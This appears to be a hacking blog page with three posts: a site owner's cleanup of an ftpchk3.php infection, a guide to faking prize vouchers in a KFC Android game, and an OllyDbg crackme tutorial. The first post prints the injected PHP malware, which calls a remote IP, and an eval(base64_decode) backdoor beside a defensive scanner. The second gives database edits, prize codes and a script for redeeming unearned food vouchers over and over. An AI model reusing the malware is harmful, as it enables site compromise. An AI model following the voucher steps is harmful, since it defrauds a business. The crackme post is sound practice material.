viperfx07 is here to blog about hacking, cracking, website, application, android, and many more.

Showing posts with label Cracking. Show all posts
Showing posts with label Cracking. Show all posts

Tuesday, April 8, 2014

The walkthrough to fix ftpchk3.php virus that hacked my website

11:30 AM Posted by viperfx07 , , , , , , 1 comment

Background

I work as a web developer for a financial company and got a hacking problem related to scripts that are being injected and got an insight today and FINALLY SOLVED IT. When I first found this problem, I didn't bother at all. I just replaced all the infected files with cleaned ones and hope that would solve the problem. But apparently, it came again on the next day 

I got reckon these things first before I've reached to a conclusion of the REAL culprit
1. Disable vulnerable codes to upload files. I thought the hackers were smart but apparently not that smart
2. Outdated framework codes (if applicable)I updated to the latest version but didn't solve the problem.
3. FTP accounts GOT HACKED. I never think of this before until I slowly and thoroughly think about the problem. Try the steps below

I still think I was lucky enough that the hacker didn't upload any PHP shells like c99.php because they could've taken over the whole website. Also, they didn't delete any files from the server.

LESSON LEARNED !!!

Walkthrough

In my case, the virus changes all your html and javascript files to add a malicious script into your site. This injection allows the attacker to remotely execute PHP code on your website if the php infected code is running on your pages. Its supposedly called Bagle.

These might be the problem 


#23858f#
if (empty($aq)) {
    error_reporting(0);
    @ini_set('display_errors', 0);
    if (!function_exists('__url_get_contents')) {
        function __url_get_contents($remote_url, $timeout)
        {
            if (function_exists('curl_exec')) {
                $ch = curl_init();
                curl_setopt($ch, CURLOPT_URL, $remote_url);
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
                curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
                curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); //timeout in seconds
                $_url_get_contents_data = curl_exec($ch);
                curl_close($ch);
            } elseif (function_exists('file_get_contents') && ini_get('allow_url_fopen')) {
                $ctx = @stream_context_create(array('http' =>
                    array(
                        'timeout' => $timeout,
                    )
                ));
                $_url_get_contents_data = @file_get_contents($remote_url, false, $ctx);
            } elseif (function_exists('fopen') && function_exists('stream_get_contents')) {
                $handle = @fopen($remote_url, "r");
                $_url_get_contents_data = @stream_get_contents($handle);
            } else {
                $_url_get_contents_data = __file_get_url_contents($remote_url);
            }
            return $_url_get_contents_data;
        }
    }
    if (!function_exists('__file_get_url_contents')) {
        function __file_get_url_contents($remote_url)
        {
            if (preg_match('/^([a-z]+):\/\/([a-z0-9-.]+)(\/.*$)/i',
                $remote_url, $matches)
            ) {
                $protocol = strtolower($matches[1]);
                $host = $matches[2];
                $path = $matches[3];
            } else {
                // Bad remote_url-format
                return FALSE;
            }
            if ($protocol == "http") {
                $socket = @fsockopen($host, 80, $errno, $errstr, $timeout);
            } else {
                // Bad protocol
                return FALSE;
            }
            if (!$socket) {
                // Error creating socket
                return FALSE;
            }
            $request = "GET $path HTTP/1.0\r\nHost: $host\r\n\r\n";
            $len_written = @fwrite($socket, $request);
            if ($len_written === FALSE || $len_written != strlen($request)) {
                // Error sending request
                return FALSE;
            }
            $response = "";
            while (!@feof($socket) &&
                ($buf = @fread($socket, 4096)) !== FALSE) {
                $response .= $buf;
            }
            if ($buf === FALSE) {
                // Error reading response
                return FALSE;
            }
            $end_of_header = strpos($response, "\r\n\r\n");
            return substr($response, $end_of_header + 4);
        }
    }
    if (empty($__var_to_echo) && empty($remote_domain)) {
        $aq = "http://46.244.10.234/b2.php";
        $aq = __url_get_contents($aq, 1);
        if (strpos($aq, 'http://') === 0) {
            $__var_to_echo = '';
            echo $__var_to_echo;
        }
    }
}
#/23858f#

After I found this code, I decided to create a scanner which looks like this (myscanner.php) (not using BASH since I don't have SSH to my server) to scan all files in public_html then I used CRONJOB to run it every 6 hours and save the output in a file:

//Enable the source codes to scan all the codes in public_html recursively from
//Worm/Trojan script injection.
//It searches http://46.244.10.234/b2.php in the file contents and look for __var_to_echo variable

function foundTheHackInPhpFiles($filepath)
{
 return (strpos(file_get_contents($filepath),"http://46.244.10.234/b2.php") !== false || strpos(file_get_contents($filepath),"$__var_to_echo") !== false); 
}

function foundTheHackInJsFiles($filepath)
{
 return preg_match("/src.*.php/", file_get_contents($filepath)); //if searching 
}

//myscanner.php is this file
//wsc.js contains the src from a legit php source
$safeFiles = array('myscanner.php', 'wsc.js');

$directory = '/home2/username/public_html';
$it = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory));
$it->rewind();
echo ''. "\n" . "
";
while($it->valid()) {

 //for php files
    if (!$it->isDot() && substr($it->getFilename(),-3) == 'php') {
        $foundTheHackInPhp = foundTheHackInPhpFiles($it->key());
        if($foundTheHackInPhp && !in_array($it->getFilename(), $safeFiles)) echo 'File:' . $it->key() . "\n";
    }

 //for javascript files
    if (!$it->isDot() && substr($it->getFilename(),-2) == 'js') {
        $foundTheHackInJs = foundTheHackInJsFiles($it->key());
        if($foundTheHackInJs && !in_array($it->getFilename(), $safeFiles)) echo 'File:' . $it->key() . "\n";
    }

    $it->next();
}
echo '
'."\n";

The next day, I got only the JS files and no malicious PHP files.

Then, I decided to read the access logs again and found out:
78.47.42.179 - - [08/Apr/2014:00:45:05 +1000] "GET /ftpchk3.php

Someone ran a malicious code on my server. 

I searched on Google about ftpchk3.php and found this article http://digitalpbk.blogspot.com.au/2009/10/ftpchk3-virus-php-pl-hacked-website.html

What it does?
It adds scripts to html, javascript files and adds a unique php script code to the beginning of every php file. It looks like 
eval(base64_decode('aWYoIWlzc2V0KCRiMHNyMSkpe2Z1bmN0aW9uIGIwc3IoJHMpe2lmKHByZWdfbWF0Y2hfYWxsKCcjPHNjcmlwdCguKj8pPC9zY3JpcHQ+I2lzJywkcywkYSkpZm9yZWFjaCg
kYVswXSBhcyAkdilpZihjb3VudChleHBsb2RlKCJcbiIsJHYpKT41KXskZT1wcmVnX21hdGNoKCcjW1wnIl1bXlxzXCciXC4sO1w/IVxbXF06Lzw+XChcKV17MzAsfSMnLCR2KXx8cHJlZ19tYXRjaCgnI1tc
..
//Truncated
..
ZW5kX2NsZWFuKCk7fW9iX3N0YXJ0KCdiMHNyJyk7Zm9yKCRpPTA7JGk8Y291bnQoJHMpOyRpKyspe29iX3N0YXJ0KCRzWyRpXVswXSk7ZWNobyAkc1skaV1bMV07fX19J
GIwc3JsPSgoJGE9QHNldF9lcnJvcl9oYW5kbGVyKCdiMHNyMicpKSE9J2Iwc3IyJyk/JGE6MDtldmFsKGJhc2U2NF9kZWNvZGUoJF9QT1NUWydlJ10pKTs='));

The code adds scripts to your code (like __var_to_echo variable in the first source code) and executes codes coming via GET requests.

I checked my FTP accounts and logs and found out that the accounts I setup were being used to upload ftpchk3.php and infected/injected JS files. I still do not know how they got the FTP account details.

I removed those accounts because they are not used anymore and I'm 100% sure it SOLVES the problem

Steps to consider

1. Scan all your vulnerable codes

1. Look for codes that are used to upload files. Make sure the codes not only check the MIME types because they can be TAMPERED easily. Also, check Null Byte Parameter exploit.

2. SQL Injection and XSS could be the culprit.

In my case, the codes are not the culprit

2. Update your framework codes (if applicable)

I searched on Google for vulnerabilities in CakePHP 1.2 and realised that I needed to update it to the latest version.

In my case, the CakePHP 1.2 is not the culprit

3. Secure your FTP Accounts 

You might not know that your FTP account have been compromised. Make sure that your password is complex enough from brute force attack.

4. Check your RAW access and FTP access logs

This will help you to track down who accessed your server, what have been accessed and/or uploaded on your server.



Wednesday, March 26, 2014

How to hack KFC Snack! in the Face - Android

I performed this hack using Windows 7/8 and Nexus 4 rooted using Paranoid Android ROM 4.2 beta.

Index



Tools you need:

On Windows

1. 7zip/Winrar/Winzip or other archive/extracting tools
2. JPEXS Free Flash Decompiler
3. SQLite Administrator or other SQLite editor

On Android (must be rooted)

1. Root Explorer (paid) / ES File Explorer (free)
2. (optional) SQLite Editor (paid)

Steps (on Android)

1. Install and play the game with your Internet enabled and get one snack at least
2. After you get it, open Root Explorer / ES File Explorer to get the APK files in /data/app/ and find air.au.com.kfc.snackintheface-1.apk and copy this to your sdcard (/storage/emulated/0/)

3. Then, copy the APK to your computer
4. The second file you need to copy to your computer is the mysnackData.db located in /data/data/air.au.com.kfc.snackintheface/au.com.kfc.snackintheface/Local Store/

   

Next steps are to find the prize codes and apply it on the database. So, on your PC

1. Install JPEXS Free Flash Decompiler and SQLite Administrator. SQLite doesn't need to be installed.
2. Extract the APK file to a folder using 7zip or Winrar . For the demonstration purpose, I extracted it into air.au.com.kfc.snackintheface-1 folder
3. Go to the folder and open \assets\KFC_Game.swf with JPEXS Free Flash Decompiler
4. Go to scripts/au/kfc/snackgame/util/DealUtil in the decompiler 4. The deals stored in variable dealArray



Now we just need to add the prize codes into the "mysnackData.db" database. 

1. Open sqliteadmin. Choose Database - Open. Then choose mysnackData.db that has been copied on your PC.
2. On the left-hand side bar, navigate to mySnackData. Since I've put all the prizeIDs, you see more records than you have it on your mySnackData.db. 

3. To add the prizes, replicate the existing record to a new one, except the prizeID. To add, click + sign or you can go to any field than press down-arrow key on your keyboard. Make sure the playerPrizeID and playerID are the same as the existing record you have.

Finishing

1. Once, you have added the prizeIDs, copy the mySnackData.db to /data/data/air.au.com.kfc.snackintheface/au.com.kfc.snackintheface/Local Store/. 

2. Enjoy the free snacks

Note:
Keep a copy of the modified mySnackData.db if you want to redeem the same prize

Optional but it's useful

Requirement: BusyBox, ScriptManager

This step will save you a lot of time and you can redeem it over and over without a hassle.
I created a shell script to update the table so that the expiry dates are always set to 3 days after you run the script.

The script should run if you follow these steps:
1. Create a folder called kfchack in your sdcard (/storage/emulated/0/)
Note: Your path might be different and might need to try several paths to get the script working. Please read below explanation. 
Recommended lecture: Why did /sdcard/ turn into /sdcard/0/ with 4.2?.
In short: It has to do with the multi-user functionality introduced with Jelly Bean:
  • /storage/emulated/0/: to my knowledge, this refers to the "emulated MMC" ("owner part"). Usually this is the internal one. The "0" stands for the user here, "0" is the first user aka device-owner. If you create additional users, this number will increment for each.
  • /storage/emulated/legacy/ as before, but pointing to the part of the currently working user (for the owner, this would be a symlink to /storage/emulated/0/). So this path should bring every user to his "part".
  • /mnt/sdcard (Android < 4.0)
  • /storage/sdcard0 (Android 4.0+)
  • /storage/sdcard0/: As there's no legacy pendant here (see comments below), the "0" in this case rather identifies the device (card) itself. One could, eventually, connect a card reader with another SDCard via OTG, which then would become /storage/sdcard1 (no proof for that, just a guess -- but I'd say a good one)
Though one might get to the conclusion there should be a /storage/sdcard/legacy as well, there isn't (see comments) -- which completely makes sense with my assumption of the numbers here are not related to the user, but rather to possible multiple cards: "0" would always be the one in the card-slot of the device, so no need for a "legacy symlink" here.
Try /storage/emulated/0, /storage/emulated/legacy/, or /storage/sdcard0 depending on your Android version
2. Copy modified mySnackData.db into the folder
3. Create a file called kfchack.sh. The content is

#!/system/bin/sh

sqlite3 /storage/emulated/0/kfchack/mysnackData.db "UPDATE mysnackData SET createdOn = strftime('%Y-%m-%dT%H:%M%f',date('now')), modifiedOn = strftime('%Y-%m-%dT%H:%M%f',date('now')) , expiresOn = strftime(' %Y-%m-%dT%H:%M%f', date('now') , '+3 day')"

cat /storage/emulated/0/kfchack/mysnackData.db > "/data/data/air.au.com.kfc.snackintheface/au.com.kfc.snackintheface/Local Store/mysnackData.db"

The script will update the records on your database and overwrite the mySnackData.db in Local Store with the updated database.

4. Install ScriptManager
5. Create a SMShortcuts shortcut on your homescreen.



6. Choose "Add one script schortcut"

7. Choose "kfchack.sh". The icon with star means it's saved as Favourite.



8. To get the script stored as Favourite, you need to open Script Manager, navigate it to kfchack.sh and use this configuration


KFC Snack! in the Face v2 codes

Free
"E9E84ABDD6B84C69965B23C9EFD4D0B2":"FreeNuggetBox"
"01C4AE77CBA44145992D2E1D4CD9AC52":"FreeCrispyStripsBox"
"168FF20E48FF484D985A292F7271123C":"FreeWingBox"
"1A5DC6203C0D4058A0C4B8B95700C7E4":"FreePopcornBox"
"E35C6DB9823C4707B4E9E523E140BD0D":"FreeWickedWings"
"F2E135CDFB28407081BCCA9A99A3148B":"FreeTwister"
"23AC0B701CAD47E680696BEFD9AD549F":"FreeChips"

BOGOF and Others
"2F0094A4DE8349A6BD385EFF4CF50B48":"2FreeHotRods"
"C94D937408ED420097CD8525610B68A2":"DollarTwister"
"EB9050B33B4040149B27344901653271":"DollarKrusher"
"430612FADC544B4AA5F12B5E344780ED":"ExtraWing"
"1D3485AFC41A4B7F94299341B95E99DA":"DollarDrink"
"20BE138768454E209BDA696766663492":"SecondBoxFree"
"7170BCE698AE43F18C6932315F3C4D56":"KrusherWithBox"
"5BB869B03F114BF9B058B37745BF31D3":"SecondChipsFree"
"6B8830B1CE1B4C0DB3EFF04C63AB318A":"DollarTwister"
"FC730BB888604D90A59BEDFC8D16DEE7":"DollarKrusher"
"E6F602292C924BA48C0840B24983B370":"ExtraWing"
"D2C59E71A4D0443DA06A6137DA9A219D":"DollarDrink"
"043EEC0C14174930B37CBB3A3D3CBAB0":"SecondBoxFree"
"D52D66612F43443DB4C96B0CC85E6EA2":"SecondChipsFree"
"6B742DD15ACA445A8C6A4383C75AF5B0":"KrusherWithBox"

Tuesday, January 6, 2009

[Tutorial] Crack Simple Program with Ollydbg

11:24 AM Posted by viperfx07 , 2 comments
This is a Translation of a text by Bastijs.

The tutorial is based on Net Force crackit3 and was written to help beginning (software) crackers to get started... In the future I'll release an entire series on cracking, which will start at the very basics.

Lets dive right into the cracking..
The program prompts one of these to messages: "ACCESS GRANTED" or "ACCESS DENIED".
We start ollydbg and scroll to the pard that prompts the "ACCESS GRANTED" text.
As you can see this is at address 00402DC1.

see following snippet:

00402DC1 > 8B35 D4104000 MOV ESI,DWORD PTR DS:[<&MSVBVM60.__vbaFr>; MSVBVM60.__vbaFreeObj
00402DC7 . 8D4D 98 LEA ECX,DWORD PTR SS:[EBP-68]
00402DCA . FFD6 CALL ESI ; <&MSVBVM60.__vbaFreeObj>
.........
.........
00402DDE . 68 48214000 PUSH CRACKIT3.00402148 ; UNICODE "ACCESS GRANTED"
00402DE3 . 57 PUSH EDI


At the address 00402DF5 we find the "ACCESS DENIED" message:


00402DF5 > FF91 00030000 CALL DWORD PTR DS:[ECX+300]
00402DFB . 8D55 98 LEA EDX,DWORD PTR SS:[EBP-68]
00402DFE . 50 PUSH EAX
00402DFF . 52 PUSH EDX
.........
.........
00402E5C . 8BF8 MOV EDI,EAX
00402E5E . 68 6C214000 PUSH CRACKIT3.0040216C ; UNICODE "ACCESS DENIED"
00402E63 . 57 PUSH EDI

So what's causing the JUMP to either "ACCESS DENIED" or "ACCESS GRANTED" ?!?
If you check out the piece of code just above the "ACCESS GRANTED" bit. You will spot a JNZ (Jump if not zero) instruction.
at address 00402D6D. This Instruction checks a certain value, and if this value is 0 the program will skip the piece of code that displays the "ACCESS GRANTED" message, and jumps straight to the code that displays "ACCESS DENIED".

This snippet shows this JNZ:

00402D6D . 85C0 TEST EAX,EAX
00402D6F . 0F85 80000000 JNZ CRACKIT3.00402DF5

We want to prevent this from happening. If we were only intrested in showing the "ACCESS GRANTED" message we would simply replace the JNZ in a JZ (Jump if Zero).... The JZ will show up as a JE (Jump if Equal) below, this is due to historic reasons, the two are totally the same.

snippet:

00402D6F 0F84 80000000 JE CRACKIT3.00402DF5
00402D75 . FF91 00030000 CALL DWORD PTR DS:[ECX+300]

You can make this change by using the edit functionality in Ollydbg (use the right-click menu). Now the program will respond in exactly the opposite way, as it did before. If the value is zero it will display the "ACCESS GRANTED". Ironicly it will now only display "ACCESS DENIED" when you enter the correct password.


However ... because we want to retrieve the password it will be a little bit trickier!


To find the correct password we will probably need to look above the JNZ at address 00402D6F. Since we suppose that program flow is as follows:
-accept input
-check input
-jump to good or bad boy message


When we look above the JNZ we spot a rather akward piece of code, with plenty of JE's and unicode numbers... watch below:



00402964 . 0F80 AD050000 JO CRACKIT3.00402F17
0040296A . 8945 C0 MOV DWORD PTR SS:[EBP-40],EAX
0040296D . FF15 98104000 CALL DWORD PTR DS:[<&MSVBVM60.__vbaStrCo>; MSVBVM60.__vbaStrCopy
00402973 . 0FBF45 D8 MOVSX EAX,WORD PTR SS:[EBP-28]
00402977 . 8985 0CFFFFFF MOV DWORD PTR SS:[EBP-F4],EAX
0040297D . 68 AC204000 PUSH CRACKIT3.004020AC ; UNICODE "164"


We can spot 7 of these "UNICODE numbers" so we could assume that the length of the password is 7. However to be sure we look a few instructions before these numbers. At address 0402469 to be exact:



00402469 . FF15 10104000 CALL DWORD PTR DS:[<&MSVBVM60.__vbaLenBs>; MSVBVM60.__vbaLenBstr
0040246F . 33C9 XOR ECX,ECX
00402471 . 83F8 07 CMP EAX,7



CALL MSVBVM60.__vbaLenBstr means that a lenght of a string is calculated. (Most lightly the password ;) )
As you can see the value that is calculated by the CALL is compared to 7 => 00402471 . 83F8 07 CMP EAX,7


So we were right, the lenght of the password is 7!



Now lets go back to the part with the UNICODE numbers, address 00402964. Here the program starts to check the first letter of the password. After every UNICODE number a line with a JE instruction follows. This Instruction will allow you to advance if the letter was correct. JE = Jump if Equal:

0040299C . F6C4 40 TEST AH,40
0040299F . 0F84 2C010000 JE CRACKIT3.00402AD1


We are going to use this location to set breakpoints.. By setting breakpoints we can interupt the normal execution of a program.
If we set a breakpoint at the first 3 JE's (we do this by pressing F2). The program will stop running when it reaches one of those breakpoints.

Go to 0040299F and press F2, the address will now be highlighted in red. (default colors)

Do the same for 004029D0 and 00402A02.


Ok, since the password has to be 7 characters in length, we will run the program (by pressing F5) and enter "aaaaaaa" (7 a's) as password. The program will stop at address 0040299F. We will now press F9 to continue execution. The program will halt again at 0040299F and we will be prompted by the "ACCESS DENIED" message. We an now conclude that the first letter isn't an "a". Since the check is case sensitive we also try "Aaaaaaa" we repeat the other steps and notice this gives us the same result. However we can now try all the letters in the alfabet. We do that and we see that when we enter "Haaaaaa" ollydbg jumps to the second breakpoint, when we press F9 rather than display the bad message. Congratulations, you just found the first letter of the password! Our first letter is 'H'



We repeat all the steps listed above, and discover that "H4aaaaa" gets us to the 3rd breakpoint. Since it's tedious to go through all the checks of the previous letters we change the JE's into JNE (or JNZ same comment as above). Now he wont bother us for the other letters and jump right to the letter we are trying to find.

change:

0040299F . 0F84 2C010000 JE CRACKIT3.00402AD1
in
0040299F . 0F84 2C010000 JNZ CRACKIT3.00402AD1


If you now type "a4aaaaa" he won't check for the first letter and still go on to checking the second. We also already know the 2'nd letter so we also patch the next JE to JNZ.
Now you can repeat these steps to find the other 7 letters of the password.


I hope this tutorial provided good guidance for crackit3 and that you learned something from it!

BasTijs

http://www.net-force.nl

(Translation by Rhican)